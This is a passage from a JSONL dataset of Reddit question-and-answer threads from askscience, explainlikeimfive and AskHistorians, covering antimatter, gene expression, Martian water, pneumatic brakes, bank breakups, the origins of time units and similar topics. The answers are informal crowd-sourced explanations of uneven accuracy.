it.", "It's still true, but not exceptionally interesting beyond the initial surprise. Anti-matter is a common part of the Universe. It's everywhere, a lot. It tends to exist in extremely small quantities (i.e. individual particles) and then only for brief moments before annihilating with ordinary matter, but it's not exactly rare stuff.\n\nFor example, every 10 minutes or so the decay of Potassium-40 in your body (which happens thousands of times a second) will do so via positron emission (about 0.001% of the time). Your body is itself a constant source of anti-matter (from Potassium-40 and other isotopes), and anti-matter is constantly being created by various processes in the materials around us, almost always by radioactive decay. The surprising thing about thunderstorms was that they could make anti-matter through pair creation processes (which requires very energetic conditions)."]}, "title_urls": [], "selftext_urls": ["http://science.nasa.gov/science-news/science-at-nasa/2011/11jan_antimatter/"], "answers_urls": [[], []]}
{"q_id": "2ieflc", "title": "I understand how a gene is \"turned on/off\" by environmental factors ... but why?", "selftext": "I'm studying very basic genetics for a biological psychology class, and we have read a few papers about epigenesis, etc.  So I understand that different genes can be expressed when triggered by different things but why does this happen in the first place? What tells the proteins to get to work?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ieflc/i_understand_how_a_gene_is_turned_onoff_by/", "answers": {"a_id": ["cl1iuap", "cl1vqtz"], "score": [7, 2], "text": [" > why does this happen in the first place? \n\nBecause cells are differentiated (they are specialized in their field) and may need to produce different proteins at special times. These proteins may be for themselves, or they could be secreted to be used by other cells.\n\n > What tells the proteins to get to work?\n\nIn signal transduction, cells utilize cascades to alter their gene expression and metabolism. So basically a signal protein outside the cell (such as a hormone) will bind to a cell receptor that is imbedded in the membrane of the protein When a signal protein binds to a ligand this triggers another reaction inside the cell membrane, such as the phosphorylation of another signaling protein. These phosphorylated proteins then may also alter more signaling proteins, which may then go on to release calcium. This calcium may activate another set of signaling proteins. In this way a cascade is created that is amplified at each step.\n\nTowards the end of the chain transcription factors may be phosphorylated. This activates transcription and following translation and post-translation modification, the end result is the protein.\n\nI don't know if I answered your question directly. This was a very broad answer and was not detailed. Cell signaling is very elaborate and utilizes many proteins (cAMP, CDKs, g coupled proteins) and gene expression uses many transcription factors, activators, and complexes. ", "_URL_1_\n_URL_2_\n_URL_0_\n\nIt will be easiest to explain your question using a simple well studied system such as the Lactose (Lac) operon mechanism used by bacteria. Like many complicated biologic questions, the biochemical mechanism in our cells, exists in bacteria as well but in a simplified form. \n\nIn the case of the Lac operon. Bacteria will normally use glucose as their preferred sugar for energy production. But if there is no glucose around they will use the sugar lactose instead. To do this, the bacteria need to sense that lactose is present, realize that glucose is not present, and turn on the genes for lactose metabolism.\n\nThere are two levels of control. 1) Glucose is a signal to turn off the Lactose genes. 2) Lactose is a signal to turn on the lactose genes. \n\nThe Glucose mechanism is a little complicated, so if you'd like to know how that works you can check the links above or ask, and I'll be happy to get into the nitty-gritty.\n\nThe way Lactose works, is simpler and will answer your question. \n\nThe proteins which the bacteria uses to convert Lactose to energy are made from blueprints in the bacteria's DNA. In order to use these blueprints the bacteria has to convert the DNA to messenger RNA. But a protein known as the Lac Repressor binds to the part of the blueprints which act as a \"Start reading here\" signal and blocks the other proteins from doing their job. In effect if there is no Lactose around the Lac Repressor makes it impossible for the bacteria to turn on the Lac genes. \n\nHowever if their is Lactose around, the lactose will physically bind to the lac repressor. when this happens the shape of the lac repressor changes and it no longer binds tightly to the DNA, and \"floats\" away. This means the \"Start reading here\" signal is exposed and the machinery which makes the messenger RNA can go to work.\n\nSo lactose acts as a signal in bacteria to turn on the machinery which metabolized lactose. This is accomplished by physical binding of the signal (lactose) to the genes responsible for acting on the signal. \n\nThis mechanism or mechanisms similar in form are utilized by our cells as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=h5p05aFzWdA", "http://www.ndsu.edu/pubweb/~mcclean/plsc431/prokaryo/prokaryo2.htm", "https://www.youtube.com/watch?v=oBwtxdI1zvk"]]}
{"q_id": "d3lver", "title": "what do people with wandering eyes, or badly cockeyed eyeballs actually see?", "selftext": "Is it one combined image like most people, or is it too separate images in their brain? Do they pick one and use that as the primary over for reading or driving etc?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d3lver/eli5_what_do_people_with_wandering_eyes_or_badly/", "answers": {"a_id": ["f03mkpi", "f03n0ou", "f04rbxn"], "score": [5, 3, 2], "text": ["I had a lazy eye when I was a kid.  Glasses corrected it and it's been pretty much normal since I was about 8.\n\nI only ever remember seeing normally.  I think your brain corrects it.", "They see one image, almost identical to normal vision. The human brain is really good about piecing together pieces of information to create a single image. Consider the fact that our eyes are always seeing our nose, yet we rarely notice it. Additionally, consider the fact that our eyes actually have a blind spot where we technically can\u2019t see anything, yet our brain fills in the image for it to make sense to our brain. There is a really cool video on YouTube that describes how our eyes work and why we can ignore our nose and blind spot, here\u2019s the link if your interested:\n\n_URL_0_", "I have a lazy eye as an adult (amblyopia). My brain suppresses the image from the weak eye, but not in a way that is obvious to me perceptually. So my vision usually seems normal (or at least what I assume you'd call normal), with the only exceptions being if I close my good eye and only try to  use the weak one, and some minor double imaging at distance or very close up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/L_W-IXqoxHA"], []]}
{"q_id": "3onefc", "title": "if the atmospheric pressure on mars is 600 pascals, and the triple point of water is 611 pascals. doesn't that mean that liquid water on mars is impossible?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3onefc/eli5_if_the_atmospheric_pressure_on_mars_is_600/", "answers": {"a_id": ["cvyr4ct"], "score": [17], "text": ["Well, it's impossible for *pure water* on those *specific parts* of Mars that have that pressure. But when substances are dissolved in water its boiling point can be elevated (vapor pressure lowered), as shown [in the graph on this page about Raoult's Law](_URL_0_). What's more, the surface pressure on Mars varies pretty seriously with altitude\u2014the pressure at the peak of Olympus Mons is only 300 Pa, while at the bottom of Hellas Planitia it's 1160 Pa.\n\nAll that is especially interesting because it suggests that there are some places on Mars where liquid (salty) water can exist, and other places where it can't. And what's more, it suggests that as weather and seasons change the sun angle, the ground temperature, the air pressure, and so on; the stability of liquid water also changes. These sort of cyclic changes can drive all sorts of interesting geology as they move water around, and I think that's how we discovered the seasonal flowing water streaks in the first place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.chem.purdue.edu/gchelp/solutions/colligv.html"]]}
{"q_id": "g3gyqd", "title": "Were \"pissing contests\" an actual thing in the past?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/g3gyqd/were_pissing_contests_an_actual_thing_in_the_past/", "answers": {"a_id": ["fnrd2t1"], "score": [2], "text": ["Sorry, we don't allow \"throughout history\" questions. It's not that your question was bad; it's that these kinds of questions tend to produce threads that are collections of disjointed, partial, inadequate responses. If you have a question about a specific era, like \"classical Americas\" or \"ancient and medieval Asia\", feel free to rewrite your question and submit it again. If you don't want to rewrite it, you might try submitting it to /r/history, /r/askhistory, or /r/tellmeafact. I'd recommend /r/history for this one. :)\n\nGood luck!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2q4syf", "title": "how can someone tell that i googled their name?", "selftext": "A few minutes after googling a friend's name, I received a text from him telling me that he saw that. Is it because he's in my contact list?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q4syf/eli5_how_can_someone_tell_that_i_googled_their/", "answers": {"a_id": ["cn2vdyo", "cn2vjg4", "cn2wdl0", "cn2x1ol", "cn2zrzp", "cn342iv", "cn3618c"], "score": [23, 8, 7, 18, 4, 2, 2], "text": ["No one can tell, unless they have a rat or something that logs your keystrokes / records your screen. Or if they work at Google / NSA. I would scan your computer for viruses with malwarebytes OP.", "Did you click on any of the links that were returned?\n\nLegally there's no way they should have known that you googled them. \n\nThere are [some sites](_URL_0_) you can make a profile on, and if someone clicks on that profile it will send an email notification saying a) When you were searched for, b) What key words were used to find you, and c) Where the search originated (city) by IP address.\n\nOtherwise, they shouldn't know if you just did a Google search and didn't click anything. If they do know that, then they might be hacking your computer, using a key logger, or taking snapshots of your screen.", "Is it possible that the you have used the person's phone/tablet/computer to log into Google? If so it might have saved your password which would give whomever access to your searches. ", "Did you click on their linkedin profile? Linkedin has a habit of telling people who looked at their profile.", "This is interesting. If you don't mind, I'd love to hear which sites you clicked on after searching his name. \n\nI'm a digital analytics consultant and specialize in some extremely advanced tracking techniques for clients such as retroactive profiling, digital fingerprinting, and IP deep searching. \n\nAnyway, yes there are ways that he could see that it was you specifically who visited a site he operates, but there should not be a way for him to simply know you googled him, especially if you are logged in to your google account when you searched because those are actually very well protected with SSL and Google no longer passes that data onto the sites you visit (unless you aren't logged in). But even then, that data isn't available in realtime, it's usually available on a 24 hour delay. \n\nAnyway, there are some sophisticated techniques that he might be able to get that data. But it would only be possible on sites he operates that he has enabled this type of data. These techniques are extremely expensive to operate and usually only ran by companies like banks and insurance companies. \n\nId be very suspicious of your friend right now.  He's up to something shady... That's for damn sure.  ", "Could it be that one of the sites you clicked was your friend's website?  I have a website which is my last name dot org.  If you google my last name, my site will pop up and if you click it, I'll be able to see that your IP  viewed it, and that you came from Google, because I have StatCounter and Google Analytics installed.  If you're my friend and I've been to your house and used your wifi, it's likely that I've tagged your IP on my StatCounter page.  Or if you live in a small town and you're the only person I know from that town, I'll assume it's you.", "Could this be as simple as someone using [Google Alerts](_URL_0_) to watch for their name. While the possible explanations presented are complex and paint your friend as shady, could it be as simple as your were discussing Googling people at some point and he received a harmless alert. \n\nYour search of his name and follow through to a website on that search no matter what gets Google's ranking algorithm going and his name may appear more prominently in results even if by a tiny bit. \n\nImagine that hundreds of thousands of people all of a sudden started searching for \"asde34lvwq\". It means nothing now but it will be ranked higher after Google sees its actively being searched for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.makeuseof.com/tag/find-googling/"], [], [], [], [], ["https://support.google.com/alerts/?page=faq.html&amp;hl=en#4815780"]]}
{"q_id": "1a7rl5", "title": "if hydraulics are used because liquids aren't compressible why do they use pneumatic brakes in large vehicles like buses and lorries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1a7rl5/eli5_if_hydraulics_are_used_because_liquids_arent/", "answers": {"a_id": ["c8uvwca", "c8v19zz"], "score": [4, 17], "text": ["I do not know all this for a fact but this is from my experience with both systems. \n\n***Hydraulic Pros:*** \n\nCan build up higher pressure and produce greater strength.\n\nAs mentioned they are incompressible so the amount of fluid needed to fill the system is all you have to have.\n\nAlso since the fluid can not compress this makes the movement more fluid (no bouncing) and allows more more precise movement in very tight spaces.\n\n***Hydraulic Cons:***\n\nBecause of higher pressures and the limited amount of fluid in these closed loop systems they build up heat and usually have to have radiators to dissipate it.\n\nThe have a limited amount of fluid if a hose bust you are usually dead in the water until it is replaced and the system is filled back up. also oil in these systems is not a good thing to be dumped on the ground and has precise clean up requirements. \n\nThe system has to be under constant pressure so the pump must run at all times to supply ample amounts of pressure.\n\n***\n\n***Pneumatic Pros:***\n\nUnlimited amount of air because theses systems can pull from the air around them you never have to worry about the system being without.\n\nNo heat build up. This is due in part to the gas being released from what ever the end device would be. In the case of a break system it would be released at the caliper.\n\nThe footprint on more air systems are small this mean they have fit into more application were space is scare.\n\nAs listed before the pump does not have to run all the time since air can be compresses and the tanks hold enough for several uses this takes strain off the vehicle motor and less fuel waste.\n\nAir lines can be run in very tight places since can be bent with a tool to a 90 degree angle without worry of kinking. \n\nLess wear and tare on equipment because they have no moving fluid the lines tend to last longer as long as the system has a proper water drain.\n\n***Pneumatic Cons:***\n\nBecause air contains water when compressed this water can condense and cause water build up in systems so the tank must been drained or have a drain system on it.\n\nNot very strong and air pressure is affected by temperature. \n\nCan be affected by the quality of air if used in very dusty environments they may have to have a filter system installed to keep dust out this will require additional maintenance.\n\n***\n\nTLDR:\nLighter smaller jobs are easily and better performed by pneumatic such as break systems.\nHeavier and larger jobs require Hydraulics.\n ", "There are two primary reasons. One applies more to trucks, the other to passenger buses.\n\n1) - Trucks - most trucks have multiple, interchangeable components (cabs and trailers). Each component has it's own braking system. These systems all have to be interconnected so they can be controlled from one location (the brake pedal in the cab). This means frequently connecting/disconnecting brake lines. Disconnecting lines in a hydraulic system is a pain. Fluid leaks and has to be replaced, then pressure has to be restored to the system. In a pneumatic system, however, it's easy. Only air leaks out, so no mess. And the system is pressurized off a compressor attached to the engine, so that's primed as soon as you start her up.\n\nBasically, think about a pool vacuum vs. a house vacuum. You can easily add/remove attachments from a home vacuum, all the tubes are filled with air. Try changing out a pool filter hose without getting water everywhere. Plus, if too much leaks out, you might have to re-prime the filter pump.\n\n2) - Buses - Hydraulic brake systems are forced closed by pressure. What this means is when you push the brake pedal, you add pressure, which engages the brake. Pneumatic brakes are forced *open* by pressure. While the vehicle is running the system is pressurized, holding the brakes open. When the pedal is pressed, a valve is opened, the pressure is released, and the brakes swing closed.\n\nBasically what this means is when a hydraulic system fails and loses pressure, the brakes are stuck open, and the vehicle can't stop. When a pneumatic system fails, the brakes are stuck closed, and a vehicle can't go. Either system is fine, because you always have an e-brake... but when it comes to a bus carrying 30 children to and from school everyday, a lot of people like the idea of a bus that won't even move if the break system is faulty."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9w8sn0", "title": "what causes various 'solid' objects to go soggy when immersed in water, while others stay hard? how are they differently composed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9w8sn0/eli5_what_causes_various_solid_objects_to_go/", "answers": {"a_id": ["e9ji8qa"], "score": [2], "text": ["Density, mostly. Objects comprised of molecules that are more loosely combined absorb moisture easier, thus allowing for the inside of the solid to be filled with liquids. \n\nSuper ELI5: a piece of cereal is hard when it's dry, but it's also covered with holes and air pockets, inside and out. When milk begins to fill those holes, the internal moisture increases, making it softer. Whereas a rock has been solidified by thousands of years of heat and pressure, so there's no holes for water to get into to make it soggy. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "nyfbp", "title": "What would be the best way in which I could cure my \narachnophobia? Why?", "selftext": "I thought about asking this in AskReddit but I want informed, real answers, not pictures and pun threads.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nyfbp/what_would_be_the_best_way_in_which_i_could_cure/", "answers": {"a_id": ["c3cynsu", "c3cyu89"], "score": [3, 2], "text": ["Just took a psychology class that dealt with phobias.  As scary as it sounds, you have to work with a spider.  Do not go to another mental place or rush the encounter.  This will only exacerbate the phobia.  You have to work with the spider until you become comfortable.  Keep doing this several times and eventually your phobia will go away.\n\n  ", "My father is a psychiatrist, and he routinely had me capture and flask live and dead spiders of assorted sizes for desensitization therapy when I was a kid. His feedback was that it worked (I guess that should be all the answer you need to \"why?\").\n\nYou start with small and dead, mounted on a pin, on a corner of a desk. Within sight but far away. Then you gradually work your way up (proximity, size, liveliness)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1wydf4", "title": "Mentioning the burning of the Library of Alexandria as a great loss in history is pretty much shunned in these parts. What, then, is an actual great loss in history?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wydf4/mentioning_the_burning_of_the_library_of/", "answers": {"a_id": ["cf6k4pi", "cf6k4rz", "cf6kfjq"], "score": [8, 12, 6], "text": ["Can you explain why the Alexandria part is shunned? I am new to this subbreddit.", "The Spaniards torching the library of Texcoco in Mexico, which was reportedly filled with codices like the 4 that survived the Conquest. After the massive epidemics of smallpox that decimated Mexican post-Conquest populations, the Library of Texcoco would have been the only source of detailed information for that region of pre-Columbian Mexico. ", "There's a way in which the \"burning of the library of Alexandria\" is metonymy for the general loss of a vast swath of material from the Classical corpus. The loss to culture is huge. We have only one complete \"set\" of tragedy (the *Oresteia*) where the three plays meant to be seen together are together. We have only one old comedy playwright with wholly extant plays (Aristophanes). When we've [found lost or unknown works](_URL_0_), it has lead us to reassess history (in particular, the history found there caused scholars to trust some other historians more and some less).\n\nAnd sure, you can downplay this by saying that we have a lot of synopses and later classical authors with access to lost sources and fragments and on. You can even take it as truism that the best works are the ones that survived, even though that seems pretty callow (\"we've got most of *I Love Lucy*, so, really do we need any other television comedy prior to 1960?\"). Trying to measure what might have been different about history (if, for instance, we had a complete *Poetics*) is totally in the realm of counterfactual. And it's definitely not a matter of technology we lost, which is the typical framing of the Library.\n\nBut for those of us who love poetry and theater, it's a great loss, if only because we can't be certain just how great the loss is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.ees.ac.uk/research/Oxyrhynchus%20Papyri.html"]]}
{"q_id": "hv3m9", "title": "If I covered my roof with reflective aluminium foil, would it lower my cooling expenses?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hv3m9/if_i_covered_my_roof_with_reflective_aluminium/", "answers": {"a_id": ["c1ym97v", "c1ymduv", "c1ymf90", "c1ymi05", "c1ymkew", "c1ymqg3", "c1ymu2a", "c1ymwon", "c1yn0tj"], "score": [4, 62, 35, 22, 9, 2, 18, 3, 2], "text": ["Probably: sunlight would be reflected back out instead of absorbed into the house in the form of heat. \n\nOn the other hand, it would raise your cooling expenses in the sense that you'd have to buy a LOT of aluminium foil", "There are manufacturers of reflective foil (Reflectix, AstroFoil) that you can put in your attic against the rafters.  I use this stuff in the roof of my observatory and it knocks the high temps inside from about twenty degrees over ambient to about 10-15 degrees below ambient. \n\nIf I had some sort of active cooling ( powered vent fan ) I could probably get down to about 20-25 degrees **BELOW** ambient temp inside the observatory.  That would be before I even turned on the AC unit. \n\nSo while putting aluminum foil on your roof would in theory reflect away some of the sunlight/heat, you'd be better off lining your rafters with the above mentioned radiant barrier since the material uses an airgap to help radiate the heat away from the rest of your house. ", "Listen to the Secretary if Energy, [paint your roof white](_URL_0_).\n\n", "Architect here, I can speak a little about this generally:\n\nYes, a bit, as white/shiny surfaces would reflect some of the solar gain away.  The roof would still warm up eventually, but it would probably take longer and save you some cooling.  However, there's the adverse effect of this that if a lot of people have shiny roofs or walls in a high-density environment, it can drastically change the climate over the city for the worse.  A lot of cities today are pushing to get rid of white/high-albedo roofs and replace them with green roofs which will absorb heat and water.   \n\nedit: further research has pointed me to several places saying that reflective roofs are actually being used as a correction for black-tar heat islands.  Green roofs (roofs covered in vegetation) are the most ideal in the long run to this effect though, and also do a great job of reducing heat gain/loss in a building.  ", "Quasi-layman: Physics degree, not a scientist\n\nWhat others have not mentioned is that smooth, bare metal surfaces are very poor heat radiators -- they reflect visible light well, and they radiate infrared poorly. So you get the benefit of less absorption, but the penalty of less radiation.\n\nThat's why paints like Radiance and foils are recommended for the *inside* surface of the roof, because they radiate heat poorly, keeping more of the heat in the structure of the roof behind the foil, rather than in the air inside the house. Even better, cover your insulated ceiling with the stuff facing the roof, and you get the benefits of poor radiation from the inside roof surface and poor absorption in your ceilings: win-win.\n\nBut on the outside of your roof, you want to radiate heat away! That's why white paint is preferred; it's a good reflector in the visible range *and* a good radiator in the infrared. \n\nTL;DR: On the inside of the roof, you want to cut down IR radiation and absorption with foils and special low-emissions paints. On the outside, you want high visible reflectivity and high IR emissivity, like traditional paint.", "Slightly, but with the added benefit that the government won't send radio signals to your fillings anymore.", "There used to be an energy conservation program here in San Diego that gave people rebates if they installed \"radiant heat barriers\" in their houses.  This was right after the 2003 fires, so plenty of people were rebuilding their homes.  The radiant heat barriers were essentially metal foil inside the walls.\n\nAbout a year later people started complaining about lack of cell service inside their homes.  Apparently no one thought about how many people were accidentally turning their houses into Faraday cages.", "Layman: I think the FAA would have something to say about this sort of thing. ", "Yes, and it would keep the aliens from reading your thoughts as well"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.bloomberg.com/apps/news?pid=newsarchive&amp;sid=asoQnPxZIsaM&amp;refer=environment"], [], [], [], [], [], []]}
{"q_id": "a1bc68", "title": "how can you remove a single cell from embryo that is only 8 cells in total, and not damage it?", "selftext": "I was just watching a TV programme where they said they can test IVF embryos for genetic disorders before implanting them by removing a single cell and examining the DNA. They said that they do this when the cell is only 8 cells large, and then insert the remaining 7-cell embryo afterwards if it is found to be healthy. I can't believe that removing an eighth of the embryo doesn't throw off its growth or imbalance it somehow!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1bc68/eli5_how_can_you_remove_a_single_cell_from_embryo/", "answers": {"a_id": ["eaobtlg", "eaocnjh"], "score": [10, 3], "text": ["One cell is just that, one cell. It will slow sown its growth, maybe even by a day. But it wont harm it because that cell is replaced in function. Those remaining 7 cells will still multiply exponentially and be hundreds if thousands of cells within a few weeks, the one removed cell wont be missed. Life in general, is very resilient. You could remove 6 of those 8 cells, and the final product would still be a functioning baby, those two cells will be 8 cells again in no time, then 16, then 32 ect", "At 8 cells the cells have not differentiated yet. They're all pretty much the same.\n\nAt about 100 cells the blastula is formed and resources are divided amongst the cells to start differentiating into different parts of the body.\n\nOnce the cells have differentiated if you removed a piece then yes you could irreparably damage the embryo but at 8 cells all you're doing is slightly delaying the process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3530i9", "title": "bernie sanders wants to 'break up' the big 6 corporations on wall street.... what does this actually mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3530i9/eli5_bernie_sanders_wants_to_break_up_the_big_6/", "answers": {"a_id": ["cr0gr3b", "cr0gvn7", "cr0h62v", "cr0j7rg", "cr0o6ev", "cr0oxf3", "cr0p97v", "cr0pl99", "cr0q4la"], "score": [146, 21, 205, 44, 24, 10, 4, 10, 3], "text": ["It would basically force the company to dissolve, and become several different companies, each focused on something different from the rest. This has happened before, with AT & T, disrupting their monopoly and allowing competition to grow.\n\nedit: _URL_0_ Here's a link to the article about the Bell breakup if you want more in depth information into the process.", "Breaking up a corporation involves splitting it up into a number of smaller, successor companies. Maybe different branches will be broken up into different companies (for example, if GE's electrical engineering and manufacturing wings became their own companies). Or maybe they'll be split into regional entities (the classic example is the phone company Bell being split into a bunch of different geographic entities, with one successor state running the east coast, another the midwest, another the west coast, and so on). \n\nBreaking up companies increases the number of competitors in a market, which, hopefully, will lead to competition which improves services and lowers prices. Alternatively, the breakup could lead to the new companies becoming nonviable, and just going out of business which will reduce competition and make prices even worse. \n\nEdit: And as a preemptive answer to the natural followup question, no, Sanders almost certainly won't *actually* be able to do this. Even if he is elected President (which I seriously doubt will happen), he's not going to have the support needed to do it. ", "A large corporation has many business units. For example GE makes many consumer electronics. They make electrical components, they make military equipment, they make equipment for power  &  water, airplane engines and a few other industries, plus GE capital that does a lot in the financial sector.\n\nMaybe each of those can be broken up into 7 smaller independent companies. That would reduce the size and political influence of GE, since each individual new company would have different political goals and motives. GE Aviation wouldn't care about a new law to regulate railroad engines, and wouldn't spend money to lobby influence on it, while GE Transportation would.\n\nBefore GE as a master company, would.", "Specifically he wants to break up the 6 biggest banks in the United States. While there a a lot of good arguments on both sides of the discussion, Sanders' drive is to avoid future 'too big to fail' situations like the  ones that occurred in 2008/2009.", "It actually means that, surprisingly, the big media corporations are not going to talk about Bernie Sanders or give him much media attention so that the public doesn't know about him", "Sanders is talking about breaking up the largest banks - JP Morgan Chase, Bank of America, Wells Fargo, Citigroup. These banks have several different divisions, broadly separated between \"retail\" (serving customers) and \"commercial/investment\" (trading and investments.) \n\nClassic retail banking is what you think of as banking - taking deposits, making small, safe (not subprime) loans. What credit unions and regional banks do. They make money, but not nearly as much as commercial banking.\n\nCommercial/investment banking is where you get into the really crazy, high-capitalism stuff. Commodities and currency speculation. Leveraged loans. Bets on bets on bets. They are insanely profitable, but also very unstable.\n\nOne of the things Sanders wants to do is force banks that do both to separate into different entities, and then probably break up the commercial banking into even smaller components. So if a speculative commercial bank goes belly up because of one bad line of investment (like Lehman Brothers with subprime mortgages) it won't be as detrimental to the retail banking world, and then beyond that. Your deposits are backed by the FDIC, so you won't lose your money, but the bigger they are the harder they fall.\n\nI will mention as well that the big banks do retail banking mainly for PR. That's why they pay out ludicrously small interest on savings accounts and have shit customer service. They don't care. If they were only involved in retail banking, they would have to care a bit more. But right now, for banks like JPMorgan Chase, the commercial banking is all that really matters. ", "It's like when WWF was the only wrestling company around when WCW went bust. They broke up into RAW and Smackdown.\n\nSource: Stone Cold Steve Austin", "The idea behind breaking up the banks is more tied to consumer banking vs. investment banking than anything else. There is certainly truth to the sentiments that the banks are too large to manage, as well as the idea that a bank failure could have a far greater impact on the economy than it should (eg - if Wells Fargo makes a lot of risky investments that fail, they can basically hold taxpayers hostage and demand a bailout.)\n\n\nThat being said there used to be laws on the books that said if a bank's deposits were FDIC insured the bank could not gamble that money on risky derivative and investment markets.  These laws were put in place after the great stock market crash and the ensuing Great Depression. Banks lobbied to remve these protections as the saw consumer money sitting idly in their deposit books when it could have been invested risk free thanks to the FDIC. Once these laws were repealed banks figured out how to take a \"safe\" product like a mortgage and package it as a derivative investment product. The banks then sold these packages to pension and retirement funds, among others, as safe investments. It has since come to light that some of the banks were lying about the quality of the products they were selling. He important thing to know is once the banks figured out how to sell off packages of mortgages, the stopped caring about the underwriting standards typically associated with the loans they were offering. It was no longer their problem if someone defaulted on the loan, so they were no longer interested in investing in the underwriting process. This was certainly a leading factor in the housing bubble.\n\n\nBernie Sanders, among others, wants to bring back the laws that were made from the lessons learned from the Great Depression. Banks do not want this as they would prefer to gamble with the taxpayers money than their own. An example of this can be found in the profits a bank like JPMorgan Chase reported throughout the recession. They turned a profit every quarter until they had to pay $18 billion or so in fines due to their role in the housing bubble. Even then, these fines can mostly be considered tax write offs allowing them to recoup the cost within the year. \n\n\nELI5- As a country we learned lessons from the stock market crash of 1929 and put in place a series of laws in the 1930's to prevent it from happening again. Starting in the 1960's the banks began pushing hard saying we don't need these lessons/laws anymore. In 1999 they were finally successful in helping us forget our past. In 2007 we were reminded of the lessons we learned in 1929. Bernie wants to put these laws back in place and remember the lessons learned in 1929 rather than let history continue to repeat itself", "1. Bernie Sanders will never, I repeat, never become president.\n\n2. Even if, arguendo, he were president, he wouldn't be able to do it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Breakup_of_the_Bell_System"], [], [], [], [], [], [], [], []]}
{"q_id": "6p7hfu", "title": "When and how did the belief that Buddha was an incarnation of Vishnu begin?", "selftext": "Was this after Buddhism's decline so no on was around to dispute this claim or was it an earlier attempt to absorb an heterodox teaching?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6p7hfu/when_and_how_did_the_belief_that_buddha_was_an/", "answers": {"a_id": ["dko16k5"], "score": [3], "text": ["The absorption of Buddhism into Brahminical Hinduism began after Buddhism was driven out from India. This was the result of a long drawn conflict after the death of the Buddha where Buddhists and Brahmins went into ideological conflict with one another resulting in the support of different political entities against one another.\n\nBy the time of the arrival of the Arab Muslims, Buddhism was on a decline due to a number or reasons which mostly link to the decline of political support for their position. The arrival of the Muslims had helped the Buddhists gain some traction against the Brahmins but once the Muslims had established themselves the Buddhists were ultimately sidelined and disappeared into more fertile territory such as that in China and Central Asia.\n\nFree from one ideological opponent, Brahmins were able to absorb what they wanted into their teaching to bring the Buddhists back into the caste system. \n\nSources:\n\n* *India: A history* by John Keay\n* *The Beginnings of Buddhist Art and Other Essays in Indian and Central Asian Archaeology* by A. Foucher\n* *The History of Buddhism in India and Tibet* Bu-ston and E.Obermiller\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "adhs8i", "title": "Why are almost all of Earth's time units multiples of 6?", "selftext": "Is it coincidence or scientific or just a completely invented concept by humans?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/adhs8i/why_are_almost_all_of_earths_time_units_multiples/", "answers": {"a_id": ["edh8wno", "edhlgcl", "edi6i00", "edi95d3", "edib3db", "edifl15", "edioflo", "edjb05u", "edjgfnc", "edji4xu", "edjo237", "edjtx8i", "edjxlz6", "edjzpfg"], "score": [7534, 149, 12, 106, 30, 69, 16, 2, 3, 3, 6, 2, 2, 3], "text": ["It's an invention by humans. \n\nThe Babylonians had a [base 60 number system](_URL_1_), giving us 360 degrees in a circle. That number 60 was useful for counting days in a year (nearly 6x60), had enough factors to make most fractions they would need for practical purposes, and gave them a fairly good resolution for the kind of angular resolution they could produce or measure. That system survives today in geometry, and makes its way to us as the 60 second and minute intervals on a clock, being useful subdivisions for the face of a clock. As a tangent, clock *faces* originated around the 13th century or so, and were adapted from the sundial so that mechanical timekeepers would show the time in a familiar format. \n\nThe 24 hour day is slightly different and has muddier origins, being in use in some form all over the world for centuries and being recycled by culture after culture. Some authors point to the \"12 hours of the night\" of the ancient Egyptians as a possible origin. That was a set of 12 rituals that must be performed every night in order to guarantee the reincarnation of the sun-god in the morning. \n\nAs another tangent, since the length of the day and night changes throughout the year, summer 'night hours' were shorter than winter 'night hours,' since the night was made to be exactly divisible by twelve. Since sundials didn't work at night, they used 'clepsydra' which means 'waterclock.' They work by the same principle as an hourglass, just with water instead of sand. As a basin drains (or fills) the markings on the inside are used to track the water level, and thus time. So the next time you see an Egyptian vase at a museum, look closely on the inside. If you see sets of dots along the inside which all have their own spacing, you may be looking at a waterclock [marked with hours of different lengths for each month.](_URL_0_)\n\nAnyway, virtually all old world civilizations had need for subdividing time and having practical daylight hours, so it was only a matter of time before they converged on a standard.\n\nBut there is one more number that shows up in the natural world, 29.5. That's the length of the lunar synodic period in days. With a simple visual aid in the sky, the moon phases give us 12 months (common etymological root with 'moon') which very nearly divide a year, and are thus the basis for almost all calendars on earth.\n", "Sumerians seem to have invented and used the Sexagesimal system. 